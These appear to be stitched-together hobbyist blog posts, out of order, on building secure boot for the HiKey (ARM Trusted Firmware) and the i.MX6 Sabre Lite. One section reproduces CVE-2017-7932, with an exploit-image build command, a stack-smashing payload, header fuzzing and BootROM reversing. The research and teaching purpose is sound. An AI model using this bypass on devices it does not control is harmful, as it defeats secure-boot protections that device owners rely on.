Assembling the non-Secured boot flow

When CPU0 comes out of reset the bootrom will read the eMMC’s boot0 partition. This is memory mapped to address 0xF980:0000 and the first address executed is at offset 0x800. This contains the l-loader code that switches execution from aarch32 to aarch64 and jumps to offset 0x1000. 0xF980:1000 is the entrypoint of ARM-Trusted-Firmware’s BL2.

You can dive into the build logic in the ARM-Trusted-Firmware code to understand why BL1 is skipped as an optimization. In this case BL2 is executed in EL3.

The ARM-Trusted-Boot flow takes over and BL2 is our loader, executing the proprietary mcuimage.bin from HiKey, our OP-TEE secure OS as BL32, and eventually our BL33 non-trusted firmware, U-Boot. U-Boot will auto-boot in 3 seconds unless interrupted on the command line.

NB: U-Boot is configured to load an environment from the uSD card. In this example no uSD is needed or used. The U-Boot default environment, compiled into the image, is used.

U-Boot loads our Linux and device tree.

The recovery.img is used to program our content using fastboot. It uses the normal l-loader bootstrap code, the normal ATF bl1.bin, and the atf-fastboot’s bl1.bin as NS_BL1U. Using this recovery mode is optional. If you have a working board then you can flash the eMMC partitions using dd.

Here is an example:

$ sudo python ~/git/hikey/hisi-idt.py --img1=recovery.bin
$ sudo fastboot flash loader l-loader.bin
$ sudo fastboot flash fastboot fip.bin

If you have an already running HiKey you can use the following:

$ sudo dd if=fip.bin of=/dev/mmcblk0p4
$ echo 0 | sudo tee /sys/block/mmcblk0boot0/force_ro
$ sudo dd if=l-loader.bin of=/dev/mmcblk0boot0

Build ATF with Trusted Board Boot for HiKey

The first thing we should do is create an RSA2048 keypair. ATF is limited to 2048bit keys at the moment.

$ mkdir keys
$ openssl genrsa 2048 > ./keys/rot.key 2>/dev/null

Patch your ATF to build Trusted Board Boot for the HiKey using: https://patch-diff.githubusercontent.com/raw/ARM-software/arm-trusted-firmware/pull/1449.diff be careful as this is still undergoing code review and has not been heavily tested.

This will build a BL2 with the ROT key’s public key SHA256 hash. The key will be placed into RW storage within the fip.bin later.

Checkout the mbedtls code, version 2.10.0:

$ git clone https://github.com/ARMmbed/mbedtls -b mbedtls-2.10.0

And finally glue it all together to create a bl1.bin and fip.bin:

$ cd arm-trusted-firmware

$ make \
  PLAT=hikey \
  DEBUG=1 \
  BL33=../u-boot/build_hikey/u-boot.bin \
  SCP_BL2=../mcuimage.bin \
  BL32=../optee/optee_os/out/arm/core/tee-header_v2.bin \
  BL32_EXTRA1=../optee/optee_os/out/arm/core/tee-pager_v2.bin \
  BL32_EXTRA2=../optee/optee_os/out/arm/core/tee-pageable_v2.bin \
  SPD=opteed \
  TRUSTED_BOARD_BOOT=1 \
  MBEDTLS_DIR=../../mbedtls \
  GENERATE_COT=1 \
  SAVE_KEYS=1 \
  TRUSTED_WORLD_KEY=../keys/trusted_world.key \
  NON_TRUSTED_WORLD_KEY=../keys/nt_worlded.key \
  ROT_KEY=../keys/rot.key \
  SCP_BL2_KEY=../keys/scp_bl2_content.key \
  BL31_KEY=../keys/soc_content.key \
  BL32_KEY=../keys/tos_content.key \
  BL33_KEY=../keys/nt_fw_content.key \
  all fip

The first time you run this command it should finish with some stdout:

NOTICE:  Creating new key for 'Trusted World key'
NOTICE:  Creating new key for 'Non Trusted World key'
NOTICE:  Creating new key for 'SCP Firmware Content Certificate key'
NOTICE:  Creating new key for 'SoC Firmware Content Certificate key'
NOTICE:  Creating new key for 'Trusted OS Firmware Content Certificate key'
NOTICE:  Creating new key for 'Non Trusted Firmware Content Certificate key'

Subsequent runs should be using your existing keys. Everything but the rot.key can be updated later since only the hash of the rot.key will be write-protected.

Note that the _KEY variables are optional. Keys will be generated during the build automatically for you.

Basic Trusted Board Boot failure testing

As a very-quick smoke test for TBB I will edit a byte in U-Boot.

$ dd if=/dev/mmcblk0p4 of=fip.bin
$ grep -ab 2018.07-rc1-00132-g606fddd-dirty fip.bin 
530221:U-Boot 2018.07-rc1-00132-g606fddd-dirty (Jun 18 2018 - 22:17:00 -0400)hikey_SM__DMI_ERROR : memory not allocated

I will switch the 2018 to be 3018.

$ dd of=/dev/mmcblk0p4 if=fip.bin
16384+0 records in
16384+0 records out
8388608 bytes (8.4 MB) copied, 1.52253 s, 5.5 MB/s

And sure enough, after a reset I see on the debug UART:

[...]
INFO:    Loading image id=9 at address 0xf9858000
INFO:    Image id=9 loaded: 0xf9858000 - 0xf98584da
INFO:    Loading image id=13 at address 0xf9858000
INFO:    Image id=13 loaded: 0xf9858000 - 0xf9858430
INFO:    Loading image id=3 at address 0xf9858000
INFO:    Image id=3 loaded: 0xf9858000 - 0xf9861058
INFO:    BL2: Loading image id 5
INFO:    Loading image id=11 at address 0x35000000
INFO:    Image id=11 loaded: 0x35000000 - 0x350004ea
INFO:    Loading image id=15 at address 0x35000000
INFO:    Image id=15 loaded: 0x35000000 - 0x35000440
INFO:    Loading image id=5 at address 0x35000000
INFO:    Image id=5 loaded: 0x35000000 - 0x35061d9a

Platform exception reporting:
ESR_EL3: 0000000096000061
ELR_EL3: 00000000f9801574

Success! A more complete test involves generating a fake signature for U-Boot and writing a correct new SHA256 hash. But at least we know the auth-driver code is running.

Danger Zone! Permanent Write Protect eMMC boot0

Once you are happy with the BL2 build and DO NOT PLAN ON UPDATING THE ROT.KEY OR BL2 CODE we need to create our root of trust.

There is a feature of MMC similar to the hardware block write protection on SPI flash that allows you to write-protect the alternate boot partitions. Be very very careful as this is a 1-time operation and since this is a BGA eMMC, recovery is difficult. Remember we are only concerned with write-protecting the boot partitions. Yifan has a quick read on the dangers of this write-protection being in an non-configured tri-state. While you are here you might consider locking the GP and User sections non-write-protect.

The /dev/mmcblk0boot{0,1} partitions hold the l-loader.bin code, this is l-loader and BL2. Everything else is within the fip.bin on the fourth partition. Only this l-loader.bin code will become permanent read-only/write-protected.

This uses the eCSD[173] register on the MMC, named EXT_CSD_BOOT_WP. We will 1-time program this with a value of 0x04 or EXT_CSD_BOOT_WP_B_PERM_WP_EN. Our Linux kernel allows programming via an ioctl.

On the HiKey:

(hikey)$ git clone https://github.com/chiel99/mmc-utils
(hikey)$ cd mmc-utils;

Apply this diff to change the mmc tool’s write-protection logic from Power-On (write-protect until next power cycle) to permanent write-protection. Permanent write-protection is not available by default because of the danger mentioned above.

diff --git a/mmc_cmds.c b/mmc_cmds.c
index d7215bb..a32d317 100644
--- a/mmc_cmds.c
+++ b/mmc_cmds.c
@@ -279,7 +279,7 @@ int do_writeprotect_boot_set(int nargs, char **argv)
        }
 
        value = ext_csd[EXT_CSD_BOOT_WP] |
- EXT_CSD_BOOT_WP_B_PWR_WP_EN;
+               EXT_CSD_BOOT_WP_B_PERM_WP_EN;
        ret = write_extcsd_value(fd, EXT_CSD_BOOT_WP, value);
        if (ret) {
                fprintf(stderr, "Could not write 0x%02x to "

Then build and set the write-protection:

$ make
(DANGER)$ sudo ./mmc writeprotect boot set /dev/mmcblk0boot0

Now we can check the status:

$ sudo ./mmc writeprotect boot get /dev/mmcblk0boot0
Boot write protection status registers [BOOT_WP_STATUS]: 0x0a
Boot Area Write protection [BOOT_WP]: 0x04
 Power ro locking: possible
 Permanent ro locking: possible
 ro lock status: locked permanently

$ cat /sys/block/mmcblk0boot{0,1}/ro_lock_until_next_power_on 
2
2

Now the boot0 partition is the only entrypoint from the bootrom, unless you modify physical properties like the J15 jumpers. This partition’s content cannot be modified without an external programmer on the eMMC. In this configuration, from software perspective, the BL2 code is a ROM.

If you try to use fastboot in recovery mode, flashing the l-loader partition will not produce an error, but will not write the content, it silently fails.

The BL2 contains a permanent hash of the rot.key’s public key content and forces signature verification of all additional content down to the non-trusted firmware code. U-Boot is the last part of code verified, in this form it will happily run any Linux and device tree configuration. It is possible to later extend this chain of trust to the Kernel using U-Boot’s verified boot implementation.

Again be careful and please challenge my assertions because I am not an authority and this DIY secured boot should not be used where high-security controls are needed. You should engage device manufactures and implement their ODM-preferred secured boot features. If you find any issues with the assumptions used here, please reach out!

Limitations

• There is no secure counter implemented, this is dangerous as there is no way to revoke old builds and the keys used to sign.
• The BOOT_WP permanent feature write-protect of eMMC is not fully investigated as a secure method for starting a Root of Trust.
• The HiKey’s bootrom is not confirmed to only boot from the eMMC’s alternate boot partitions. There may be a software/eFUSE that can toggle this to boot another user-controlled location, such as a general purpose partition on the eMMC.
• The RSA key sizes used in ATF’s Trusted Board Boot only support RSA2048 (SHA256 is used for hashing). From what I can see the ECDSA curves available in the ATF build provide an equivalent level of security. Increasing the relative bits available in the build is absolutely a follow up.
• The certtool in ATF cannot use a smartcard/HSM/PKCS11 to sign content.
• There is no runtime recovery option. If verification fails the board will hang.

Trivia and Pro-Tips:

• SBC Name: NXP/Freescale i.MX6
• Architecture Type: ARM Cortex™-A9
• Supported by OP-TEE: https://github.com/OP-TEE/optee_osPLATFORM=imx-mx6qsabrelite
• Boundary Devices is very quick to respond to email requests for additional schematics and information.
• Known unpatchable vulnerable to i.MX HAB4 CVE-2017-7932

Note: The i.MX6 Sabre Lite hardware silicon revision 1.3 has a well-known vulnerability (stack-based overflow leading to arbitrary code execution) in parsing ASN.1 within the HAB4 ROM leading to a secure boot bypass discovered by QuarksLab. A ‘normal world’ user, someone controlling Linux on the SoC, may overwrite the initial boot code and secured boot certificates and bypass certificate validation.

Sabre Lite case by ARTaylor with included heatsink

Building our own U-Boot

After reading specifications and guides for new SOCs/SBCs, I love to begin with their firmware by building and reading the ‘special sauce’. The i.MX6 boards are supported in mainline U-Boot, but the guides on Boundary Devices website recommend their branch: https://github.com/boundarydevices/u-boot-imx6

git checkout boundary-v2017.07
make nitrogen6q_defconfig

~/u-boot-imx6$ export ARCH=arm
~/u-boot-imx6$ export CROSS_COMPILE=arm-linux-gnueabihf-
~/u-boot-imx6$ make nitrogen6q_defconfig
~/u-boot-imx6$ make -j2

There is tooling to update the firmware using a U-Boot command and scripts stored in U-Boot environment variables. The U-Boot content and some i.MX/HAB custom image structures are stored in a small 2MB SPI flash on the Sabre Lite. We can update it whenever, say during Linux, but it is easiest to use the existing U-Boot tooling. See the run upgradeu command example below:

U-Boot 2015.07-15072-g45cfc85 (Jan 28 2016 - 17:41:49 -0700), Build: jenkins-uboot_v2015.07-30

CPU:   Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
Reset cause: WDOG
Board: SABRE Lite
[...]
=> run upgradeu
[...]
SF: Detected SST25VF016B with page size 256 Bytes, erase size 4 KiB, total 2 MiB
probed SPI ROM
check U-Boot
reading u-boot.nitrogen6q
531456 bytes read in 75 ms (6.8 MiB/s)
read 81c00 bytes from SD card
device 0 offset 0x400, size 0x81c00
SF: 531456 bytes @ 0x400 Read: OK
byte at 0x12000425 (0x20) != byte at 0x12400425 (0x10)
Total of 37 byte(s) were the same
Need U-Boot upgrade
[...]
device 0 offset 0x400, size 0x81c00
SF: 531456 bytes @ 0x400 Read: OK
Total of 531456 byte(s) were the same
---- U-Boot upgraded. reset

This copies U-Boot from the mSD to the SPI chip, SST25VF016B (2M), http://ww1.microchip.com/downloads/en/DeviceDoc/S71271_04.pdf

m25p80 spi0.0: sst25vf016b (2048 Kbytes)
3 ofpart partitions found on MTD device spi0.0
Creating 3 MTD partitions on "spi0.0":
0x000000000000-0x0000000c0000 : "U-Boot"
0x0000000c0000-0x0000000c2000 : "env"
0x0000000c2000-0x000000200000 : "splash"
spi_imx 2008000.ecspi: probed

Note that despite the HAB having a vulnerability, it would be fun to explore if the SPI could be held in WP/SRWD to prevent additional run-time writes. If there is a way to configure an alternate boot method from software this would be less ideal.

Secured Boot Implementation

The i.MX series and Freescale have lots of documentation on their High-Assurance Boot (HAB) capabilities. It is semi-complex and offers a nice array of features. We will ignore most and just talk about how you 1-time program a set of ‘root’ RSA public keys, and how you write content to the SPI such that the HAB can verify and execute.

The ground truth for this information is the IMX6DQRM reference manual, since this is the SBC we are using in the experimentation.

For a very quick and dirty overview:

• A SHA256 of 4 ‘root’ public keys is calculated and 1-time-programmed using eFuses.
• The boot ROM includes a library called HAB that reads and parses a header from the SPI flash.
• This image header includes x509/ASN.1 encoded public keys, which must match the programmed hash.
• Additional header properties and certificates allow key revocation and intermediate control of signing U-Boot.
• An out of band (USB) method is included for recovery.

The i/MX image header, where Image Data can be U-Boot, followed by an optional CSF.

“A key feature of the boot ROM is the ability to perform a secure boot or High Assurance Boot (HAB). This is supported by the HAB security library which is a subcomponent of the ROM code. HAB uses a combination of hardware and software together with a Public Key Infrastructure (PKI) protocol to protect the system from executing unauthorized programs. Before the HAB allows a user’s image to execute, the image must be signed. The signing process is done during the image build process by the private key holder and the signatures are then included as part of the final Program Image. If configured to do so, the ROM verifies the signatures using the public keys included in the Program Image.
In addition to supporting digital signature verification to authenticate Program Images, Encrypted boot is also supported. Encrypted boot can be used to prevent cloning of the Program Image directly off the boot device. A secure boot with HAB can be performed on all boot devices supported on the chip in addition to the Serial Downloader. The HAB library in the boot ROM also provides API functions, allowing additional boot chain components (bootloaders) to extend the secure boot chain. The out-of-fab setting for SEC_CONFIG is the Open configuration in which the ROM/HAB performs image authentication, but all authentication errors are ignored and the image is still allowed to execute.”

— https://www.nxp.com/docs/en/reference-manual/IMX6SDLRM.pdf

Boundary devices provides an outstanding tutorial for setting up the high assurance boot: https://boundarydevices.com/high-assurance-boot-hab-dummies/. There is one download required (the CST tool): https://www.nxp.com/webapp/sps/download/license.jsp?colCode=IMX_CST_TOOL

After following this guide I could boot and check the HAB configuration using the U-Boot command hab_status.

U-Boot 2017.07-28563-g04d7ed8-dirty (Nov 15 2017 - 19:15:26 -0800)

CPU:   Freescale i.MX6Q rev1.2 at 792 MHz
Reset cause: POR
Board: sabrelite
I2C:   ready
DRAM:  1 GiB
MMC:   FSL_SDHC: 0, FSL_SDHC: 1
SF: Detected sst25vf016b with page size 256 Bytes, erase size 4 KiB, total 2 
[...]

=> hab_status

Secure boot disabled

HAB Configuration: 0xf0, HAB State: 0x66
No HAB Events Found!

And if I change 2 bytes in the U-Boot content (U-Boot to MeBoot), then hab_status should report a failure. In the below example I have not configured the 1-time program eFuse for secured boot enforcement:

MeBoot 2017.07-28563-g04d7ed8-dirty (Nov 15 2017 - 19:15:26 -0800)

CPU:   Freescale i.MX6Q rev1.2 at 792 MHz
Reset cause: POR
Board: sabrelite
I2C:   ready
DRAM:  1 GiB
MMC:   FSL_SDHC: 0, FSL_SDHC: 1
SF: Detected sst25vf016b with page size 256 Bytes, erase size 4 KiB, total 2 
[...]

=> hab_status

Secure boot disabled

HAB Configuration: 0xf0, HAB State: 0x66

--------- HAB Event 1 -----------------
event data:
        0xdb 0x00 0x1c 0x41 0x33 0x18 0xc0 0x00
        0xca 0x00 0x14 0x00 0x02 0xc5 0x1d 0x00
        0x00 0x00 0x16 0x3c 0x17 0x7f 0xf4 0x00
        0x00 0x08 0x5c 0x00

STS = HAB_FAILURE (0x33)
RSN = HAB_INV_SIGNATURE (0x18)
CTX = HAB_CTX_COMMAND (0xC0)
ENG = HAB_ENG_ANY (0x00)

--------- HAB Event 2 -----------------
event data:
        0xdb 0x00 0x14 0x41 0x33 0x0c 0xa0 0x00
        0x00 0x00 0x00 0x00 0x17 0x7f 0xf4 0x00
        0x00 0x00 0x00 0x20

STS = HAB_FAILURE (0x33)
RSN = HAB_INV_ASSERTION (0x0C)
CTX = HAB_CTX_ASSERT (0xA0)
ENG = HAB_ENG_ANY (0x00)
[...]

Testing CVE-2017-7932 using USBArmory’s Examples

The USBArmory project uses i.MX53 SOCs, which are also effected by the HAB bypass vulnerabilities. They have published an excellent exploit generator and guide on their GitHub wiki.

Here are some great resources related to testing CVE-2017-7932:

• i.MX53 Secure Boot on the USBArmory: https://github.com/inversepath/usbarmory/wiki/Secure-boot
• Internal Boot ROM overview: https://github.com/inversepath/usbarmory/wiki/Internal-Boot-ROM
• GPIO overview: https://github.com/inversepath/usbarmory/wiki/GPIOs
• Detailed guide on enabling Secure Boot for the USBArmory: https://deadmemes.net/2017/04/05/adventures-with-the-usb-armory-pt1/
• Discovery, description, and details about the vulnerability from QuarksLab: https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html

It is simple to reproduce the vulnerability for the i.MX6.

$ git clone https://github.com/inversepath/usbarmory
$ cd usbarmory/software/secure_boot

./usbarmory_csftool --csf_key ../cst-2.3.3/keys/CSF1_1_sha256_4096_65537_v3_usr_key.pem --csf_crt ../cst-2.3.3/crts/CSF1_1_sha256_4096_65537_v3_usr_crt.pem -B ../cst-2.3.3/keys/IMG1_1_sha256_4096_65537_v3_usr_key.pem -b ../cst-2.3.3/crts/IMG1_1_sha256_4096_65537_v3_usr_crt.pem -I ../cst-2.3.3/crts/SRK_1_2_3_4_table.bin -x 1 -i ~/git/u-boot-imx6/u-boot.imx --hab_poc -o u-boot-im6-exploit.imx
IVT values:
  entry:                 0x17800000
  dcd:                   0x177ff42c
  boot_data:             0x177ff420
  self:                  0x177ff400
  csf:                   0x17885000
  boot_data.start:       0x177ff000
  boot_data.length:      0x88000
  boot_data.plugin_flag: 0x0
CSF padding size:        0x2000
Modifying certificate for HAB bypass PoC (CVE-2017-7932)

$ cat ~/git/u-boot-imx6/u-boot.imx ./u-boot-imx6-exploit.imx > u-boot-signed-imx6-exploit.imx

The onlu change needed to usbarmory_csftool is the location to return to (first jump within U-Boot), as the memory map on i.MX6 is slightly different. The iMX6SL is 0x1780:0000, this is the base address configured by U-Boot.

  # stack smashing of 37 bytes + PC at 0x17800000 (U-Boot image entry point for iMX6SL)
  payload = "\x00" + "\x00\x00\x00\x00" * 9 + "\x00\x00\x80\x17" + "\x00\x00\x00\x00"
  payload_len = payload.length

The core common flaw here is applying complex parsing to untrusted data. This sparked another curiosity for the HAB image structures. Are there sections of the header that are not included in the verification, aka can we modify bits without effecting the status of the boot? If we could then we could fuzz for additional corruptions. In the worst case if a corruption hung the HAB then we could recover via USB recovery or SPI flashing.

This next section is just fun, the TL;DR is there are other untrusted bytes but none led to corruptions. Also keep in mind this testing is non-exhaustive. In the case of the original vulnerability, we only need to find content that is read and parsed without verification, not content that is malleable and still results in a complete secure boot success.

To fuzz the image header I wanted a flow similar to:

• CPU reset
• Write the details of hab_status to SRAM
• Flash the SPI with the next iteration
• Boot Linux and dump the HAB status
• Repeat

These details will only make sense with knowledge of how the i.MX U-Boot update process works, essentially through complicated U-Boot environment scripts. To achieve my flow I will write the following scripts:

root@trusty-dev:~# fw_printenv bootcmd
bootcmd=hab_store; env save; run distro_bootcmd
root@trusty-dev:~# fw_printenv boot_scripts
boot_scripts=upgrade.scr 6x_bootscript

The 6x_bootscript will be modified to reset automatically.

diff --git a/board/boundary/nitrogen6x/6x_upgrade.txt b/board/boundary/nitrogen6x/6x_upgrade.txt
index 86520e8..ad0a130 100644
--- a/board/boundary/nitrogen6x/6x_upgrade.txt
+++ b/board/boundary/nitrogen6x/6x_upgrade.txt
@@ -149,6 +149,7 @@ if itest.s "x" != "x${next}" ; then
        fi
 fi
 
-while echo "---- U-Boot upgraded. reset" ; do
- sleep 120
-done
+# while echo "---- U-Boot upgraded. reset" ; do
+#      sleep 120
+# done
+

Rebuild the bootscript using mkimage:

./tools/mkimage -A arm -O linux -T script -C none -a 0 -e 0 -n "boot script" -d ./board/boundary/nitrogen6x/6x_upgrade.txt 6x_upgrade
Image Name:   boot script
Created:      Sat Nov 18 12:35:37 2017
Image Type:   ARM Linux Script (uncompressed)
Data Size:    3576 Bytes = 3.49 KiB = 0.00 MiB
Load Address: 00000000
Entry Point:  00000000
Contents:
   Image 0: 3568 Bytes = 3.48 KiB = 0.00 MiB

The small HAB library in U-Boot will contain a new command called hab_store.

diff --git a/arch/arm/imx-common/hab.c b/arch/arm/imx-common/hab.c
index 523d0e3..2c78573 100644
--- a/arch/arm/imx-common/hab.c
+++ b/arch/arm/imx-common/hab.c
@@ -303,6 +303,49 @@ void display_event(uint8_t *event_data, size_t bytes)
        process_event_record(event_data, bytes);
 }
 
+int write_hab_status(void)
+{
+       uint32_t index = 0; /* Loop index */
+       uint8_t event_data[128]; /* Event data buffer */
+       size_t bytes = sizeof(event_data); /* Event size in bytes */
+       enum hab_config config = 0;
+       enum hab_state state = 0;
+       hab_rvt_report_event_t *hab_rvt_report_event;
+       hab_rvt_report_status_t *hab_rvt_report_status;
+       hab_rvt_report_event = hab_rvt_report_event_p;
+       hab_rvt_report_status = hab_rvt_report_status_p;
+       char varname[12];
+       struct record *rec;
+
+       /* Check HAB status */
+       int status = hab_rvt_report_status(&config, &state);
+       if (status != HAB_SUCCESS) {
+               /* Display HAB Error events */
+               while (hab_rvt_report_event(HAB_FAILURE, index, event_data,
+                                       &bytes) == HAB_SUCCESS) {
+
+                       rec = (struct record *)event_data;
+                       sprintf(varname, "hab_event%d", index + 1);
+                       setenv(varname, rsn_str[get_idx(hab_reasons,
+                               rec->contents[1])]);
+
+                       bytes = sizeof(event_data);
+                       index++;
+               }
+       }
+
+       setenv("hab_config", simple_itoa((int)config));
+       setenv("hab_state", simple_itoa((int)state));
+       setenv("hab_events", simple_itoa(index));
+
+       if (is_hab_enabled())
+               setenv("hab_sb", "1");
+       else
+               setenv("hab_sb", "0");
+
+       return 0;
+}
+
 int get_hab_status(void)
 {
        uint32_t index = 0; /* Loop index */
@@ -360,6 +403,18 @@ int do_hab_status(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
        return 0;
 }
 
+int do_hab_store(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
+{
+       if ((argc != 1)) {
+               cmd_usage(cmdtp);
+               return 1;
+       }
+
+       write_hab_status();
+
+       return 0;
+}
+
 static int do_authenticate_image(cmd_tbl_t *cmdtp, int flag, int argc,
                                char * const argv[])
 {
@@ -384,6 +439,12 @@ U_BOOT_CMD(
          );
 
 U_BOOT_CMD(
+               hab_store, CONFIG_SYS_MAXARGS, 1, do_hab_store,
+               "store HAB status to env",
+               ""
+         );
+
+U_BOOT_CMD(
                hab_auth_img, 3, 0, do_authenticate_image,
                "authenticate image via HAB",
                "addr ivt_offset\n"

Now, each time we upgrade U-Boot, our default boot will attempt to upgrade. We can also expect to have the HAB details available in Linux.

$ fw_printenv | grep hab_
bootcmd=hab_store; env save; run distro_bootcmd
hab_config=240
hab_events=0
hab_sb=0
hab_state=102

Now we want to corrupt a byte in the CSF image header and expect hab_events == 0. The size of out U-Boot region: 547840 (0x85c00) byes. Each boot and flash takes 39-40 seconds to complete a cycle. We can fuzz 2160 bytes in a day.

The resulting output of bytes that have no effect (note these are mostly region type bytes in the ASN.1 header:

[*] The previous offset had no effect: 547913
[*] The previous offset had no effect: 547916
[*] The previous offset had no effect: 547921
[*] The previous offset had no effect: 547922
[*] The previous offset had no effect: 547923
[*] The previous offset had no effect: 547924

Reversing the HAB to locate the vulnerable ASN.1 parsing

The BootROM for the i.MX53 (USBArmory) and my i.MX6 Sabre Lite are memory mapped. The reference manual for each includes the range. The USBArmory wiki and project includes a BootROM dump utility for convenience. This can be used to dump the i.MX6 BootROM too.

$ gcc -o imx53_bootrom-dump imx53_bootrom-dump.c
$ sudo ./imx53_bootrom-dump 0 16        > imx53-bootrom-0-16k.bin
$ sudo ./imx53_bootrom-dump 0x404000 48 > imx53-bootrom-1-48k.bin
$ shasum -a 256 *
bee79626931b045024a886e9f0fc298381a301e717894e08c33ea63cb99036c7  imx53-bootrom-0-16k.bin
22133edf0f93482a68e77727eab66f0545dccd7807d70bd9db0faf939674a4fb  imx53-bootrom-1-48k.bin

And on the i.MX6:

$ sudo ./imx53_bootrom-dump 0 96 > imx6-bootrom-0-96k.bin
$ shasum -a 256 *
e8b623ec6cde4c4cc8c655e1ca0ed700bd41c50a9b1bbeeae6a2748d1746fdb4  imx6-bootrom-0-96k.bin

Memory map from https://www.nxp.com/docs/en/reference-manual/IMX6SDLRM.pdf

Following the details in the QuarksLab post we can find the x509 extension parsing code at offset 0x0000e27 on the i.MX6 and at 0x00003738 on the i.MX53.

The function asn1_extract_bit_string is given the bitstring content to parse, the size of the bitstring as reported by the ASN.1 encoding, and an address on the stack to write the decoded output.

The x509_parse_next_extension code that calls asn1_extract_bit_string then checks the size.

• The imputs to asn1_extract_bit_string are: TAG, buffer_start, buffer_end, buffer_out.
• The location of buffer_out is a location on the stack.
• The size of the bitstring is not checked before 0x0000e2d0
• The size is checked after the stack is written at 0x0000e2d8
• A return at this point (given our POC) will jump to U-Boot.

Summary

The i.MX series SoCs are cool to play with. The HAB design includes quite a few features including various ways to accomplish the same signature verification or symmetric decryption (different internal libraries). I am not sure the source/history for needing various implementations, but that complexity is worrisome.

If we assume the HAB secured boot design is not vulnerable, there are a few remaining concerns. Parsing ASN.1 or requiring x509 certificates is not ideal. The verification process should require only public key content, there are much simpler and static ways to define the attributes of a RSA key. The flexibility of x509 and extensions could be represented in the image header. For example if a key is intended to only sign various components, represent that choice in the existing HAB image header that defines the key attributes.

There have been 20+ patches to U-Boot in the last several months focused on improving the U-Boot HAB libraries and bringing the verification process beyond U-Boot and SPI content to the rootfs and Kernel content. This exploration did not touch on any U-Boot libraries for extending SOC verified boot features (but this is a fun topic for the future).

If you are excited to use an i.MX6 Sabre Lite device and would like a fixed HAB be on the lookout for devices with silicon revision 1.4 or greater.

Unconfirmed list of patched devices:

• iMX6ULL revision 1.1 (B)
• iMX6QP revision 1.1 (B)
• iMX6SDL revision 1.4 (D)

HiKey HiSilicon Kirin 620

This ARM Cortex-A53, 8-core, 2GB DDR3, board is amazing! I’m an entry-level ARM security enthusiast and this board feels like the perfect starting place for TrustZone and a secure/verified boot research. When the HiKey was first released I waited 3 months for my order to arrive. Last month, I waited only two days to ship from HK to California, way to go Seeed!

Hikey supports the ARM Trusted Firmware and OP-TEE reference specifications so we can clone from Github, compile, and flash rather effortlessly. We can write the secure ‘ROM’, secure world operating system, and the non-trusted firmware executing in the normal world.

To get started I reviewed “An Introduction to ARM Trusted Firmware for ARMv8-A” and a “Deep Dive into ARM Trusted Firmware” from LCU13, (YouTube), and pretended to comprehend the ARMv8-A Firmware Design guide. ;) My goal was to get hands-on experience with ARM TrustZone, secure world code, and the general firmware execution block diagrams.

Completed HIkey with 96boards grooves expansion, uart0, jtag to busblaster, and 3d-printed housing.

HiKey reference materials:

• ARM Cortex-A53 Technical Reference Specification
• HiSilicon Kirin 622V100 Multi-Mode Application Processor
• HiKey User Guide
• 96Boards GitHub HiKey Wiki

Getting Started

This introduction is written as a tutorial, often in the simple future tense, please enjoy!

The first thing we’ll do is inspect the default state of the HiKey, using the 96Boards sensor expansion, we can attach to the UART3 breakout from the low speed (LS) expansion header.

A note about UARTs, In the documentation here, UART0 is as it appears without header in the HiKey user guide, This is NOT attached to the low-speed expansion connector. We wont have to pay too much attention as the HiKey’s UART3 will be the default. Some more-generic 96Boards documentation will refer to the “default” UART as UART0, this is UART3 on the HiKey, TL;DR, we don’t have to worry about modifying build/firmware variables to get debug output over serial.

Attaching the HiKey’s UART3 to my desktop:

$ dmesg
[...]
usb 1-2: new full-speed USB device number 126 using xhci_hcd
usb 1-2: New USB device found, idVendor=0403, idProduct=6015
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-2: Product: FT230X 96Boards Console
usb 1-2: Manufacturer: FTDI
usb 1-2: SerialNumber: DA71MVG
ftdi_sio 1-2:1.0: FTDI USB Serial Device converter detected
usb 1-2: Detected FT-X
usb 1-2: FTDI USB Serial Device converter now attached to ttyUSB0

And then using: $ sudo screen /dev/ttyUSB0 115200 we’ll quickly see:

NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: v1.1(release):e9b4909
NOTICE:  BL1: Built : 10:50:16, Nov 28 2015
NOTICE:  syspll frequency:1190494208Hz
NOTICE:  succeed to init lpddr3 rank0 dram phy
INFO:    lpddr3_freq_init, set ddrc 533mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    lpddr3_freq_init, set ddrc 800mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    Samsung DDR
NOTICE:  BL1: Booting BL2
NOTICE:  acpu_dvfs_set_freq: set acpu freq success!NOTICE:  BL2: v1.1(release):e9b4909
NOTICE:  BL2: Built : 10:50:16, Nov 28 2015
NOTICE:  BL1: Booting BL3-1
NOTICE:  BL3-1: v1.1(release):e9b4909
NOTICE:  BL3-1: Built : 10:50:16, Nov 28 2015
UEFI firmware (version PreAlpha built at 10:50:05 on Nov 28 2015)

Followed by several _clear_s, then GRUB, with the quick-default option to boot a Linux Kernel from the eMMC flash.

At the root> prompt, we can inspect the first bits of dmesg:

(hikey)$ dmesg
[    0.000000] Linux version 3.18.0-linaro-hikey (buildslave@x86-64-07) (gcc version 5.1.1 20150608 (Linaro GCC 5.1-2015.08) ) #1 SMP PREEMPT Mon Nov 30 00:11:03 UTC 2015
[    0.000000] CPU: AArch64 Processor [410fd033] revision 3
[    0.000000] Detected VIPT I-cache on CPU0
[    0.000000] efi: Getting EFI parameters from FDT:
[    0.000000] EFI v2.40 by Linaro HiKey EFI Nov 28 2015 10:50:07
[    0.000000] efi: 
[    0.000000] cma: Reserved 128 MiB at 0x0000000072c00000
[    0.000000] On node 0 totalpages: 515598
[    0.000000]   DMA zone: 7168 pages used for memmap
[    0.000000]   DMA zone: 0 pages reserved
[    0.000000]   DMA zone: 515598 pages, LIFO batch:31
[    0.000000] psci: probing for conduit method from DT.
[    0.000000] psci: PSCIv1.0 detected in firmware.
[    0.000000] psci: Using standard PSCI v0.2 function IDs
[    0.000000] PERCPU: Embedded 14 pages/cpu @ffffffc07f68f000 s19328 r8192 d29824 u57344
[    0.000000] pcpu-alloc: s19328 r8192 d29824 u57344 alloc=14*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5 [0] 6 [0] 7 
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 508430
